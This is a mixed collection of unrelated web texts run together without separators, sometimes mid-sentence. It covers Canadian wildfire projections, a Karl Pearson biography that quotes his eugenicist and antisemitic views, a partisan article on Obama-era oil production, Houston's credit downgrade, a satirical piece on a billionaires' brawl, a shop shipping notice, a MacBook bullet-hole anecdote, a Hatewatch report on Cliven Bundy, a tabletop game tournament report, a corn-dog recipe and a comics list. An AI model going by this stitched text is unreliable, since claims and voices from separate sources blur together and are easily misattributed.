Stay safe, EXO-Ls!
Source: Facebook and Liberty Times NetOTTAWA — A new government report says that by the end of this century, a changing climate is expected to at least double the area burned each year by forest fires in Canada.
The annual forest assessment of 2015 data by Natural Resources Canada says a warming climate will contribute to a 50 per cent increase in large fires, new tree diseases and more insect infestations.
“Climate change is gradually imposing an increasing trend on forest fires, a trend that is partially masked by the large variability of this disturbance,” says the report.
The study builds on a body of scientific evidence that became politically charged last May when a massive wildfire forced the evacuation of the northern Alberta oilsands hub of Fort McMurray.
That fire, which razed entire neighbourhoods of the city, ended up covering almost 590,000 hectares of boreal forest and is expected to total more than $3.5 billion in insured losses, the largest such insurance loss in Canadian history.
Scientists say it is difficult to link any single natural disaster such as a flood or fire to man-made global warming, but that the frequency and intensity of such events has been increasing and is likely to continue, especially in a northern latitude country like Canada.
The report released last week, “The State of Canada’s Forests,” notes that even if international efforts are successful in limiting global warming to two degrees Celsius above pre-industrial levels, that increase translates into a four-degree increase for Canada.
Steve Taylor, a Victoria-based research scientist at NRCan’s Pacific Forestry Centre, said it is now “well accepted” in the small scientific community that studies forest fires that a warming climate will lead to more fire activity, but with great regional variations and differing impacts depending on fire management.
A warming climate needs to combine with changes in rainfall, ignition sources and high winds to create conditions for the really big fires.
“The tricky thing is, we’re looking at extreme events,” said Taylor.
Wildfires of “Fort McMurray proportions,” he said, have happened perhaps 40 times over the past 30 years — but that’s out of some 150,000 forest fires during the same period.
“A common analogy is you’re rolling dice,” he said.
“There is some background frequency of which a six will come up. But if you load the dice — like you might be doing with climate change — you have to (roll) it many, many times to see if you get sixes more often.”
The 2015 assessment found that a total of 7,068 forest fires burned about 3.9 million hectares. The number of fires was slightly above the 10-year average, but the area burned was 50 per cent higher. Forest fires forced the evacuation of 125 communities affecting about 15,000 people in 2015.
Saskatchewan saw fires burn three times its 10-year provincial average area and Alberta had more than twice its 10-year average. In Quebec, meanwhile, the area burned in 2015 was less than two per cent of its 10-year average.
“We don’t want to say necessarily the sky is falling, but it should motivate some concern and activity,” Taylor said of the latest forest report.
“We’re in the fortunate position of being able to look ahead and think about how to better prepare over the coming decades to reduce the impacts.”
The 2016 annual report also points to the importance of forests as carbon sinks, and the impact more forest fires has on this mitigating factor.
It notes that due to significantly higher numbers of forest fires in 2014, Canada’s managed forests and forest products sector were a net source of about 71 million tonnes of carbon dioxide equivalent.
Canada’s boreal forest has traditionally been a net carbon sink, notes the report.
“In recent decades, however, the situation has reversed in some years: Canada’s forests have become carbon sources, releasing more carbon into the atmosphere than they are accumulating in any given year.”
— Follow @BCheadle on Twitter
11:00ET 28-09-16Karl Pearson FRS[1] HFRSE LLD (; originally named Carl; 27 March 1857 – 27 April 1936[2]) was an English mathematician and biostatistician. He has been credited with establishing the discipline of mathematical statistics.[3][4] He founded the world's first university statistics department at University College London in 1911, and contributed significantly to the field of biometrics and meteorology. Pearson was also a proponent of social Darwinism and eugenics.[5] Pearson was a protégé and biographer of Sir Francis Galton.
Biography [ edit ]
Pearson was born in Islington, London to William Pearson QC of the Inner Temple, and his wife Fanny (née Smith), and had two siblings, Arthur and Amy. Pearson was educated privately at University College School, after which he went to King's College, Cambridge in 1876 to study mathematics,[6] graduating in 1879 as Third Wrangler in the Mathematical Tripos. He then travelled to Germany to study physics at the University of Heidelberg under G H Quincke and metaphysics under Kuno Fischer. He next visited the University of Berlin, where he attended the lectures of the physiologist Emil du Bois-Reymond on Darwinism (Emil was a brother of Paul du Bois-Reymond, the mathematician). Pearson also studied Roman Law, taught by Bruns and Mommsen, medieval and 16th century German Literature, and Socialism. He became an accomplished historian and Germanist and spent much of the 1880s in Berlin, Heidelberg, Vienna[citation needed], Saig bei Lenzkirch, and Brixlegg. He wrote on Passion plays,[7] religion, Goethe, Werther, as well as sex-related themes,[8] and was a founder of the Men and Women's Club.[9]
Pearson with Sir Francis Galton, 1909 or 1910.
Pearson was offered a Germanics post at King's College, Cambridge. Comparing Cambridge students to those he knew from Germany, Karl found German students inathletic and weak. He wrote his mother, "I used to think athletics and sport was overestimated at Cambridge, but now I think it cannot be too highly valued."[10]
On returning to England in 1880, Pearson first went to Cambridge:
Back in Cambridge, I worked in the engineering shops, but drew up the schedule in Mittel- and Althochdeutsch for the Medieval Languages Tripos.[11]
In his first book, The New Werther, Pearson gives a clear indication of why he studied so many diverse subjects:
I rush from science to philosophy, and from philosophy to our old friends the poets; and then, over-wearied by too much idealism, I fancy I become practical in returning to science. Have you ever attempted to conceive all there is in the world worth knowing—that not one subject in the universe is unworthy of study? The giants of literature, the mysteries of many-dimensional space, the attempts of Boltzmann and Crookes to penetrate Nature's very laboratory, the Kantian theory of the universe, and the latest discoveries in embryology, with their wonderful tales of the development of life—what an immensity beyond our grasp! [...] Mankind seems on the verge of a new and glorious discovery. What Newton did to simplify the planetary motions must now be done to unite in one whole the various isolated theories of mathematical physics.[12]
Pearson then returned to London to study law, emulating his father. Quoting Pearson's own account:
Coming to London, I read in chambers in Lincoln's Inn, drew up bills of sale, and was called to the Bar, but varied legal studies by lecturing on heat at Barnes, on Martin Luther at Hampstead, and on Lassalle and Marx on Sundays at revolutionary clubs around Soho.[11]
His next career move was to the Inner Temple, where he read law until 1881 (although he never practised). After this, he returned to mathematics, deputising for the mathematics professor at King's College, London in 1881 and for the professor at University College, London in 1883. In 1884, he was appointed to the Goldsmid Chair of Applied Mathematics and Mechanics at University College, London. Pearson became the editor of Common Sense of the Exact Sciences (1885) when William Kingdon Clifford died. 1891 saw him also appointed to the professorship of Geometry at Gresham College; here he met Walter Frank Raphael Weldon, a zoologist who had some interesting problems requiring quantitative solutions.[13] The collaboration, in biometry and evolutionary theory, was a fruitful one and lasted until Weldon died in 1906.[14] Weldon introduced Pearson to Charles Darwin's cousin Francis Galton, who was interested in aspects of evolution such as heredity and eugenics. Pearson became Galton's protégé, at times to the verge of hero worship.[citation needed]
In 1890 Pearson married Maria Sharpe. The couple had three children: Sigrid Loetitia Pearson, Helga Sharpe Pearson, and Egon Pearson, who became a statistician himself and succeeded his father as head of the Applied Statistics Department at University College. Maria died in 1928 and in 1929 Karl married Margaret Victoria Child, a co-worker at the Biometric Laboratory. He and his family lived at 7 Well Road in Hampstead, now marked with a blue plaque.[15]
After Galton's death in 1911, Pearson embarked on producing his definitive biography — a three-volume tome of narrative, letters, genealogies, commentaries, and photographs — published in 1914, 1924, and 1930, with much of Pearson's own money paying for their print runs. The biography, done "to satisfy myself and without regard to traditional standards, to the needs of publishers or to the tastes of the reading public", triumphed Galton's life, work and personal heredity. He predicted that Galton, rather than Charles Darwin, would be remembered as the most prodigious grandson of Erasmus Darwin.
When Galton died, he left the residue of his estate to the University of London for a Chair in Eugenics. Pearson was the first holder of this chair — the Galton Chair of Eugenics, later the Galton Chair of Genetics[16]—in accordance with Galton's wishes. He formed the Department of Applied Statistics (with financial support from the Drapers' Company), into which he incorporated the Biometric and Galton laboratories. He remained with the department until his retirement in 1933, and continued to work until his death at Coldharbour, Surrey on 27 April 1936.
Pearson was a "zealous" atheist and a freethinker.[17][18]
Family [ edit ]
He married twice. First in 1890 to Maria Sharpe; Then following Maria's death in 1928, he married Margaret Victoria Child.[19]
Einstein and Pearson's work [ edit ]
When the 23-year-old Albert Einstein started the Olympia Academy study group in 1902, with his two younger friends, Maurice Solovine and Conrad Habicht, his first reading suggestion was Pearson's The Grammar of Science. This book covered several themes that were later to become part of the theories of Einstein and other scientists.[20] Pearson asserted that the laws of nature are relative to the perceptive ability of the observer. Irreversibility of natural processes, he claimed, is a purely relative conception. An observer who travels at the exact velocity of light would see an eternal now, or an absence of motion. He speculated that an observer who travelled faster than light would see time reversal, similar to a cinema film being run backwards. Pearson also discussed antimatter, the fourth dimension, and wrinkles in time.
Pearson's relativity was based on idealism, in the sense of ideas or pictures in a mind. "There are many signs," he wrote, "that a sound idealism is surely replacing, as a basis for natural philosophy, the crude materialism of the older physicists." (Preface to 2nd Ed., The Grammar of Science) Further, he stated, "...science is in reality a classification and analysis of the contents of the mind..." "In truth, the field of science is much more consciousness than an external world." (Ibid., Ch. II, § 6) "Law in the scientific sense is thus essentially a product of the human mind and has no meaning apart from man." (Ibid., Ch. III, § 4)[21]
Politics and eugenics [ edit ]
Karl Pearson at work, 1910.
A eugenicist who applied his social Darwinism to entire nations, Pearson saw war against "inferior races" as a logical implication of the theory of evolution. "My view – and I think it may be called the scientific view of a nation," he wrote, "is that of an organized whole, kept up to a high pitch of internal efficiency by insuring that its numbers are substantially recruited from the better stocks, and kept up to a high pitch of external efficiency by contest, chiefly by way of war with inferior races."[22] He reasoned that, if August Weismann's theory of germ plasm is correct, the nation is wasting money when it tries to improve people who come from poor stock.
Weismann claimed that acquired characteristics could not be inherited. Therefore, training benefits only the trained generation. Their children will not exhibit the learned improvements and, in turn, will need to be improved. "No degenerate and feeble stock will ever be converted into healthy and sound stock by the accumulated effects of education, good laws, and sanitary surroundings. Such means may render the individual members of a stock passable if not strong members of society, but the same process will have to be gone through again and again with their offspring, and this in ever-widening circles, if the stock, owing to the conditions in which society has placed it, is able to increase its numbers."[23]
"History shows me one way, and one way only, in which a high state of civilization has been produced, namely, the struggle of race with race, and the survival of the physically and mentally fitter race. If you want to know whether the lower races of man can evolve a higher type, I fear the only course is to leave them to fight it out among themselves, and even then the struggle for existence between individual and individual, between tribe and tribe, may not be supported by that physical selection due to a particular climate on which probably so much of the Aryan's success depended."[24]
Pearson was known in his lifetime as a prominent "freethinker" and socialist. He gave lectures on such issues as "the woman's question" (this was the era of the suffragist movement in the UK)[25] and upon Karl Marx. His commitment to socialism and its ideals led him to refuse the offer of being created an OBE (Officer of the Order of the British Empire) in 1920 and also to refuse a knighthood in 1935.
In The Myth of the Jewish Race[26] Raphael and Jennifer Patai cite Karl Pearson's 1925 opposition (in the first issue of the journal Annals of Eugenics which he founded) to Jewish immigration into Britain. Pearson alleged that these immigrants "will develop into a parasitic race. [...] Taken on the average, and regarding both sexes, this alien Jewish population is somewhat inferior physically and mentally to the native population".[27]
Contributions to biometrics [ edit ]
Karl Pearson was important in the founding of the school of biometrics, which was a competing theory to describe evolution and population inheritance at the turn of the 20th century. His series of eighteen papers, "Mathematical Contributions to the Theory of Evolution" established him as the founder of the biometrical school for inheritance. In fact, Pearson devoted much time during 1893 to 1904 to developing statistical techniques for biometry.[28] These techniques, which are widely used today for statistical analysis, include the chi-squared test, standard deviation, and correlation and regression coefficients. Pearson's Law of Ancestral Heredity stated that germ plasm consisted of heritable elements inherited from the parents as well as from more distant ancestors, the proportion of which varied for different traits.[29] Karl Pearson was a follower of Galton, and although the two differed in some respects, Pearson used a substantial amount of Francis Galton's statistical concepts in his formulation of the biometrical school for inheritance, such as the law of regression. The biometric school, unlike the Mendelians, focused not on providing a mechanism for inheritance, but rather on providing a mathematical description for inheritance that was not causal in nature. While Galton proposed a discontinuous theory of evolution, in which species would have to change via large jumps rather than small changes that built up over time, Pearson pointed out flaws in Galton's argument and actually used Galton's ideas to further a continuous theory of evolution, whereas the Mendelians favored a discontinuous theory of evolution. While Galton focused primarily on the application of statistical methods to the study of heredity, Pearson and his colleague Weldon expanded statistical reasoning to the fields of inheritance, variation, correlation, and natural and sexual selection.[30]
For Pearson, the theory of evolution was not intended to identify a biological mechanism that explained patterns of inheritance, whereas Mendelian's theory postulated the gene as the mechanism for inheritance. Pearson criticized Bateson and other biologists for their failure to adopt biometrical techniques in their study of evolution.[31] Pearson criticized biologists who did not focus on the statistical validity of their theories, stating that "before we can accept [any cause of a progressive change] as a factor we must have not only shown its plausibility but if possible have demonstrated its quantitative ability"[32] Biologists had succumb to "almost metaphysical speculation as to the causes of heredity," which had replaced the process of experimental data collection that actually might allow scientists to narrow down potential theories.[33]
For Pearson, laws of nature were useful for making accurate predictions and for concisely describing trends in observed data.[30] Causation was the experience "that a certain sequence has occurred and recurred in the past".[32] Thus, identifying a particular mechanism of genetics was not a worthy pursuit of biologists, who should instead focus on mathematical descriptions of empirical data. This, in part led to the fierce debate between the biometricians and the Mendelians, including Bateson. After Bateson rejected one of Pearson's manuscripts that described a new theory for the variability of an offspring, or homotyposis, Pearson and Weldon established Biometrika in 1902.[34] Although the biometric approach to inheritance eventually lost to the Mendelian approach, the techniques Pearson and the biometricians at the time developed are vital to studies of biology and evolution today.
Awards from professional bodies [ edit ]
Pearson achieved widespread recognition across a range of disciplines and his membership of, and awards from, various professional bodies reflects this:
He was also elected an Honorary Fellow of King's College, Cambridge, the Royal Society of Edinburgh, University College London and the Royal Society of Medicine, and a Member of the Actuaries' Club. A sesquicentenary conference was held in London on 23 March 2007, to celebrate the 150th anniversary of his birth.[3]
Contributions to statistics [ edit ]
Pearson's work was all-embracing in the wide application and development of mathematical statistics, and encompassed the fields of biology, epidemiology, anthropometry, medicine, psychology and social history.[36] In 1901, with Weldon and Galton, he founded the journal Biometrika whose object was the development of statistical theory.[37] He edited this journal until his death. Among those who assisted Pearson in his research were a number of female mathematicians who included Beatrice Mabel Cave-Browne-Cave and Frances Cave-Browne-Cave. He also founded the journal Annals of Eugenics (now Annals of Human Genetics) in 1925. He published the Drapers' Company Research Memoirs largely to provide a record of the output of the Department of Applied Statistics not published elsewhere.
Pearson's thinking underpins many of the 'classical' statistical methods which are in common use today. Examples of his contributions are:
Publications [ edit ]
Articles
Miscellany
See also [ edit ]
References [ edit ]
Most of the biographical information above is taken from the Karl Pearson page at the Department of Statistical Sciences at University College London, which has been placed in the public domain. The main source for that page was A list of the papers and correspondence of Karl Pearson (1857–1936) held in the Manuscripts Room, University College London Library, compiled by M. Merrington, B. Blundell, S. Burrough, J. Golden and J. Hogarth and published by the Publications Office, University College London, 1983.
Additional information from entry for Karl Pearson in the Sackler Digital Archive of the Royal SocietyUPDATE: The U.S. Energy Information Administration announced on Jan. 27 that data used for its study of oil and gas production on federal lands was “incomplete.” The EIA is currently reviewing information from the Department of Interior and will correct its report upon completion.
—
In his announcement rejecting the Keystone XL pipeline today, President Obama boasted that under his administration, “domestic oil and natural gas production is up.” Obama, of course, failed to mention that his administration can’t actually take any credit for the increase.
The vast majority of America’s new oil and gas production is happening on private lands in states like North Dakota, Alaska and Texas.
It’s not that Obama is devoid of responsibility. His administration oversees oil and gas production on federal lands by issuing leases. But when measuring oil and gas production in areas under Obama’s jurisdiction, the numbers tell a different story.
Citing publicly available federal data, the House Natural Resources Committee noted these figures:
Oil and natural gas production on federal lands is down by more than 40 percent compared to 10 years ago.
Under the Obama administration, 2010 had the lowest number of onshore leases issued since 1984.
The Obama administration held only one offshore lease sale in 2011.
Despite the Obama administration’s restrictive policies for oil and gas production on federal lands, overall production still increased thanks to the pro-energy policies in states like North Dakota.
“North Dakota has been the poster child for what can happen when we unleash free enterprise and allow states to develop and commercialize their resources,” Heritage’s Nick Loris wrote recently on The Foundry. “North Dakota is drilling at record pace.”
The result: North Dakota’s unemployment rate is 3.4 percent, the lowest in the country. According to a recent report from IHS Global Insight, North Dakota already returned to pre-recession employment along with energy-rich Alaska. Texas is expected to do so in the first quarter of 2012, followed by Nebraska and South Dakota next year.
Those states all have something in common: energy production.
That policy aligns with recommendations from Obama’s own Council on Jobs and Competitiveness, which yesterday issued a report calling for more energy production that includes drilling and pipelines. Here’s the language from the Jobs Council report:
As a nation, we need to take advantage of all our natural resources to spur economic growth, create jobs and reduce the country’s dependence on foreign oil. First, we should allow more access to oil, natural gas and coal opportunities on federal lands. Where sources of shale natural gas have been uncovered, federal, state and local authorities should encourage its safe and responsible extraction. While the administration has supported holding additional lease sales and evaluating new areas for drilling, further expanding and expediting the domestic production of fossil fuels both offshore and onshore (in conjunction with more electric and natural gas vehicles) will reduce America’s reliance on foreign oil and the huge outflow of U.S. dollars this reliance entails. In addition, policies that encourage rapid lease development while emphasizing the highest safety standards will ensure companies responsibly drill for natural gas or oil and mine for coal or other our minerals in federal areas in a timely manner.
With the Keystone XL decision, Obama rejected that advice. “At a time when unemployment remains unacceptably high, Iran is threatening the Strait of Hormuz, and Canada is looking to take this oil elsewhere, it is difficult to understand how the President could say no to thousands of jobs and an increase in energy supply from our ally,” Loris wrote in reaction to the decision.Houston's credit downgraded by second ratings agency
Storm clouds form around the downtown skyline in Houston. ( Steve Gonzales / Houston Chronicle ) Storm clouds form around the downtown skyline in Houston. ( Steve Gonzales / Houston Chronicle ) Photo: Steve Gonzales, Staff Photo: Steve Gonzales, Staff Image 1 of / 1 Caption Close Houston's credit downgraded by second ratings agency 1 / 1 Back to Gallery
Ratings agency Standard & Poor's on Friday joined rival Moody's in downgrading the city of Houston's credit rating, stressing the cost burden of city retiree benefits.
S&P lowered its rating on the city's debt one notch to 'AA' from 'AA+' and rated the city's credit outlook as negative, the same actions Moody's took last Wednesday ahead of a $600 million debt refinancing city officials plan to complete tomorrow in Chicago.
"The downgrade reflects our opinion of the city's large unfunded pension liability that has been exacerbated by what we consider optimistic rate of return assumptions and a history of lower-than-actuarially determined contributions, which the current administration is seeking to correct," S&P analyst Omar Tabani said.
The weight of Houston's pension burden, the analysts wrote, is magnified by the voter-approved revenue cap and low oil prices. The revenue cap, approved in 2004, limits the growth in property taxes, the city's main source of revenue. The law has led Houston to forgo $120 million in property taxes in the last two years. (You can find the report here.)
A strong economy and robust internal financial policies help offset these weaknesses, the S&P analysts said, but not enough to prevent the downgrade.
There is "at least a one-in-three probability" that the rating will drop again within two years, they wrote, if the city does not reform its pensions, or if oil stays in a slump.
"If the city is unable to address its pension liabilities within the next two years while maintaining structurally balanced operations, we will likely lower the rating," the analysts wrote.
For more background on the impact of being downgraded, check out this story about the Moody's downgrade. And for more details on how the pension mess was created, try this recent story, this story that was written during the mayoral race last fall, or this story that gives some different numbers quantifying the pension underfunding.
In response to the Moody's downgrade last week, Mayor Sylvester Turner issued a statement that touched on the same issues.
"I am continuing discussions with various stakeholders on a plan to solve the City's outstanding pension obligations," he said. "I remain confident that the steps we are taking today will create fiscal stability for the city tomorrow."It hurts me to say this as a boxing writer, but it’s time for us to forget the sweet science as a mainstream sport. Cage fighting, for all its blood and bike shorts, is never going to take its place in the popular imagination, either.
No, the west needs a new kind of gladiatorial combat to bring it together. Something that can unite us all in animalistic bloodlust.
And if the street fight between James Packer and David Gyngell showed us anything, it’s that the time has come for the super-rich to fight each other for our entertainment (which, from what I understand from reading the rightwing press, is pretty much what Thomas Piketty's book is suggesting).
If still photos of the brawl really sold for $210,000, imagine how much money could made on pay-per-view. Frankly, I’m surprised the Commission of Audit didn’t think of it instead of Soylent Green or whatever they recommended. Why would we turn fighters into millionaires when we can turn millionaires into fighters?
Sunday’s Bondi punch up is a good indication of how future PFC (Plutocrat Fighting Championship) bouts could work. Unlike traditional combat “sports”, there would be very few rules in PFC bouts, no time limit and no weight classes. Six foot six behemoths like James “Meat” Packer would be actively encouraged to fight little scrappers like David “Nine Lives” Gyngell. Showmanship, like the classic “heel-turn” executed by Gyngell when he stood out the front of Packer’s $20m Bondi mansion and called him out, would be encouraged.
A technical analysis of “The Bondi Brawl” shows that the skills of the super-rich are already at a near-professional level.
The precious photos that have emerged of the stoush show that despite their velvety, moisturised hands, both men know how to square up and throw a punch. Packer also seems to have mastered the classic “hold me back” manoeuvre, beloved in pubs and professional wrestling matches the world over.
Packer has a classic, upright style reminiscent of heavyweight champion Wladimir Klitschko (who is only one inch taller than the billionaire). He clearly wanted to keep the fight on the outside, and can be seen readying himself to throw a huge right cross in several of the photos. He also seems to have heeded the advice of boxing trainers the world over, who tell their pupils to “hold the phone” when they want them to keep their hands up (though in Packer’s case the phone appears to be a real life Blackberry).
Early on in the fight, the pictures show Gyngell, a crafty southpaw, keeping his right hand dangerously low, leaving him open to a lead right hand from Packer. To his credit, the front page of the The Daily Telegraph appears to show that the Nine Boss realised he needed to get inside Packer’s monstrous reach advantage and switched to a “peekaboo” defence with high hands.
The same photo shows him throwing a right jab from the southpaw stance while keeping his right hand high in defence. Though none of the photographs captured it, we’re forced to assume that he bobbed and weaved like Joe Frazier to get “in the pocket”.
Once there, according to witnesses, he managed to land a combination on Packer’s not inconsiderable jaw before Packer grabbed him and took the fight to the ground. The cover of the Herald Sun shows the crown chairman in Brazilian Jiu-Jitsu’s advantageous “side mount” position, trying to use his weight to “ground and pound” his former best man.
Packer’s bear-hug-to-fall-on-the-ground manoeuvre mightn’t be in the Queensberry Rules, but it sure would be in the PFC rules. Gyngell found that out when he left the scene with fewer teeth than when he arrived. Slapping, biting and windmilling towards opponents would also be encouraged.
It didn’t happen in the trial bout but competitors in the PFC would also be allowed to use whatever items are at hand, with bouts taking place at a variety of venues (such as super-yachts or mansions).
All we need is some kind of Hunger Games-style contest, and before you know it Gina Rinehart will be fighting Nathan Tinkler at Hunter Stadium on live TV.
The market demands it.U.S. ORDERS:
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I'm happy to ship internationally! I charge flat rates for shipping. Please be aware of any additional customs fees/taxes that you may be responsible for depending on your location. Packages that are returned to me as a result of incorrect address, failure to pay customs fees or failure to retrieve are not refundable. I will reship at the buyer's expense.
If you are interested in purchasing any of my pieces that are not currently designated for international shipping, please contact me for shipping costs. I will be glad to update the listing to ship to your location.It’s Sunday funday again… and though this doesn’t really fit into a ‘fun’ category it’s sure interesting anyway… we bring to you a rather unfortunate incident that caused a MacBook Pro to be pierced with a bullet hole, right through the screen! Yikes!
So, we’re all wondering, how exactly does a Mac get shot? Aggression? Just goofing off? Was the owner unusually frustrated by seeing the beachball? Did someone use the MacBook for target practice? What happened here? Well… apparently this was much more of an accident than anything else… here’s the quote from the source:
“Apparently, someone was cleaning his gun, and didn’t realize it was loaded! Whoops”
Well, that’s one heck of an accidental discharge, but I suppose it’s better for a MacBook to bite the bullet (so to speak) than anything else… still, that’s a tough and expensive lesson to learn.
So the lesson here, in case it wasn’t completely obvious: safety first! Bummer about the Mac, but it could have been much worse.
This image was found and was quoted from the SmallDog Flickr stream. That’s pretty good (bad?) aim for an accident… wow, just wow!
Astute readers noticed this actually looks a lot more like a PowerBook 12″ and not a MacBook Pro… good eye!Cliven Bundy with militia supporters
It has been six months since the federal government called off its attempt to round up cattle belonging to Nevada rancher Cliven Bundy amid a tense standoff with heavily armed militiamen who trained their weapons on federal agents.
For weeks prior, the antigovernment right had been portraying a federal court order to remove Bundy’s herd from public lands as a prime example of federal overreach – even though Bundy had refused to pay more than $1 million in accumulated grazing fees and fines because he said he didn’t recognize the government’s legitimacy.
Militias from around the country responded to Bundy’s plight, hoping that in that tiny corner of the desert they could make a stand against the government they see as the enemy. And when the Bureau of Land Management (BLM) abandoned the operation to avoid a bloody shootout, they declared victory.
Government officials promised accountability for those who broke the law by taking up arms against federal agents. It seems unfathomable, in fact, that the U.S. Department of Justice would allow a mob of antigovernment zealots to get away with using the threat of violence to block the enforcement of the law.
But, as the months have dragged on, there has been no response. Not an arrest. Not an indictment. Nothing.
Speaking with National Public Radio a month after the standoff, BLM Director Neil Kornze promised the agency would work through the legal system. “I can’t say a lot because there’s an active investigation going on, but we are working hard to ensure that those who did break the law are held accountable,” Kornze said.
The Clark County, Nevada, Sheriff’s Department has said an investigation is under way, as has the FBI. But as that investigation drags on, militias have turned the Bundy family ranch into an armed compound ready for a ground war with the Feds, and Bundy has gone on the lecture circuit to claim victory against the government.
Just last month, speaking at a gathering billed as “An Evening with Cliven Bundy” in Nevada, the embattled rancher, now a hero to the radical right, again reiterated his defiance and disdain for the federal government.
“I was really surprised that they would go this far to put their guns down we the people’s throat and try to show the public, the world, the federal government has unlimited power over we the people of the state of Nevada. That isn’t right, and that’s not ever going to happen again in America or in the state of Nevada,” a television station quoted Bundy saying.
Bundy’s confidence has risen no doubt because there have been no consequences for his actions or for those who came to his defense.
What has been equally surprising, however, is just how deeply the Bundy family has become part of the radical fringe since the April 12 standoff.
Bundy abandoned the GOP in favor of the Independent American Party of Nevada, which champions the idea of returning to the gold standard and frequently offers conspiracy theories about the United Nations and its Agenda 21. He has spoken to numerous far-right media outlets, touting his success in turning back the federal government as a victory for what the radical right frequently calls the “cause of liberty.” Members of his family have even become lifetime members of antigovernment groups like the Constitutional Sheriffs and Peace Officers Association, former Arizona sheriff Richard Mack’s conspiracy-minded group composed of right-wing sheriffs who promise to keep federal aggressions at bay.
In recent months, Bundy himself has burrowed much deeper into the radical right than that even.
Hatewatch has learned that Bundy, alongside Mack, participated in a conference call with the Republic for the united States of America (RuSA), a “sovereign citizen” group whose members believe the federal government is an illegal corporation designed to enslave citizens. Its members have been involved in violent interactions with police, run-ins with the Internal Revenue Service and widespread harassment of law enforcement.
As the Southern Poverty Law Center reported this summer, the government’s slow response and apparent reluctance or inability to hold Bundy accountable led to more potentially violent, antigovernment confrontations in Utah, Texas, |
blues
Leebo w/ Determination+Recon Specialist+HLC+Outrider
2 x Blue + Adv. Sensors
Set up with Rexler and RAC in the opposite corner of this lower PS squad this time. Forcing him though the asteroids, Leebo and Chiraneau met on the outside of the map as Rexler had to use his fastest speeds to get into the fight. After Chiraneau arc dodged the B-wings into Leebo’s blind spot, the B-wings turned to Rexler briefly and tagged him for 4 damage before K-turning to go back to the Decimator.
Rexler pursued Leebo who was running. A terrible 4 blank attack dice by Leebo against Chiraneau was soon followed by Rexler getting in to range 1 and finishing Leebo off.
Meanwhile, Chiraneau as having trouble getting out of arc and was getting blasted by the B-wings. Miraculously, he as able to run away with 1 hull while finishing off the B-wing that was eating the Rebel Captive stress. After dancing around for a bit, the B-Wing shot forward too far and I was able to dodge his arc.
Result: Win
Finals: Deciphantom # 3
– Chiraneau w/ Determination+Vader+Weapons Engineer+Rebel Captive+Tactical Jammer
– Whisper w/ VI+Rec Spec+ACD
Setting up with Rexler on the far flank and Chiraneau in a jousting position. My opponent turned his Whisper away from my RAC with a hard 1 and a cloak. Both my ships went full speed to try to cut off Whisper. Caught in a tough situation, Whisper spent a lot of time cloaked and never got a shot before Chiraneau took her out. Meanwhile the opposing RAC focused on piling as many crits as possible onto my Decimator. Before he went down, my Chiraneau was injured, double stressed, and was actually tagged with both weapon malfunctions (actually fired an attack of 1 and got 1 hit before biting it).
In the end it was a full health Lone Wolf Rexler against a very injured Chiraneau. After bumping for 4 turns, Rexler was able to get a shot and finish him off.
Result: Store Champion
I would have really appreciated Determination in almost all of my matches but the PS 10 Chiraneau is a unique twist that I immediately saw the benefits from. There were also many times when Rexler had 1 hull left and his hull upgrade really mattered. While the variety of Imperial builds was lacking, I don’t think there was a single duplicate Chiraneau.
Interesting notes: No Super Dash, Fat Han, or BBBBZ.Oh yes. These beauties made an appearance in my home this weekend, and I’m trying to figure out a way to justify making these on a regular basis. Homemade gluten-free corn dogs, you guys. CORN DOGS. Now, I just have to find out where I can buy those rectangular cheese bars so I can fry those up as well. Then I’ll be setting up my own Gluten-Free Hot Dog on a Stick booth in front of my house and leaving my day job behind. Because everyone will want in on this action and will drive all over LA to get them, amiright? Or maybe it’s just me.
Either way, we threw down some of this action this weekend and it was super delicious. I found a recipe on Gluten-Free Baking and then came home to realize I had gluten-free corn bread mix from Bob’s Red Mill, so I upended the recipe and it wound up looking, and tasting, yum to the yum yum. The GFB also offered some tips that were incredibly helpful no matter what recipe you’re using.
1. Dry your dogs then roll them in gluten-free flour to help everything stick correctly.
2. Use a very tall glass to hold the batter and then dip the dogs inside and swirl.
3. One tip the GFB had that did not apply to me, was to use tongs and don’t touch the sticks because they’re hot. My skewers were not hot at all. Either way, don’t test that theory by wrapping your paws around the sticks as soon as they’re out of the deep fat fryer.
4. One tip from me, be sure your deep fat fryer is well-filled so the dogs don’t hit the bottom or sides and stick.
5. Last tip: Enjoy the hell out of these gluten-free corn dogs.
Gluten-Free Corn Dogs
adapted from Gluten-Free Baking
prep time: 20 minutes cook time: 3 minutes each
Ingredients
2 cups gluten-free corn bread mix
1 cup milk
2 large eggs
3 Tablespoons honey
2 Tablespoons vegetable oil
8 gluten-free hot dogs (I like Applegate)
Gluten-free flour for dusting
1 quart vegetable oil for frying
8 wooden skewers
1. Preheat oil in deep fat fryer to high
2. Using a paper towel, dry gluten-free hot dogs and set on a plate or platter. Insert skewer into the center, guiding it if necessary to keep it centered in the dog.
3. Roll gluten-free hot dogs in gluten-free flour until completely covered, including the top and bottom. Set aside on platter.
3. Using whisk combine gluten-free corn bread mix, milk, eggs, honey, and vegetable oil until thoroughly mixed.
4. Transfer batter into a tall glass and cover a plater with paper towels. Set both near your deep fat fryer.
5. Take your first dog and dip it into the batter and swirl around. Pull the dog out and let batter drip down and make sure it’s all covered. Immediately dip into the heated fryer. After cooking for one minute, roll the hot dog over if it has not rolled over on its own. Remove corn dog from fryer after 2-3 minutes, or until a dark golden brown.
6. Place cooked dogs on platter to absorb oil, then serve immediately with your favorite accoutrements.
Makes: 8 corn dogs"Salvage Yard" - 4-page comic inspired by George Romero's Dawn of the Dead. Look for it cowering behind a bunch of much better comics in Jerome Gaynor's zombie antho Bogus Dead.
Sample Page #1
"The Disappearing Man of Hill-Behan" * - sad story regarding a building. Dedicated to the city of St. Louis and all my pals who still live here. More info on my love for commerical character mascots here.
Read it!
"Northwestern Parkway" - 9 page comic about stray dogs, malted milkshakes, and the neighborhood where my parents grew up. That's my old man over to the left. Published in the EXPO 2001 anthology, and later reprinted in my Schematic Comics.
Sample Page Spread
"Halfway to Hell" * - 8 page docu-dramatic comic talking about the construction of the Golden Gate bridge. A high point in my "circular inset / super-thick panel border" period. Originally published in the first IMPOSSIBLE comics compendium.
Read it!
"The Secret Society of 6 Mile Lane" * - nice story about gang warfare and growing up. Printed up nice like and put out as one half of a flipbook with my old pal Chris Vanderhoof.
Read it! • The Bad Birds circa 1985
"Collectin'! " - 42 page miniature comic book about an old coot who lives near an abandoned drive-in movie theater. First edition of 250 printed with fancy-pants silkscreened cover and vellum inserts. Additional printings had different covers and no vellum. Out of print.
Cover • Alternate Cover • Sample Spread • Another Spread
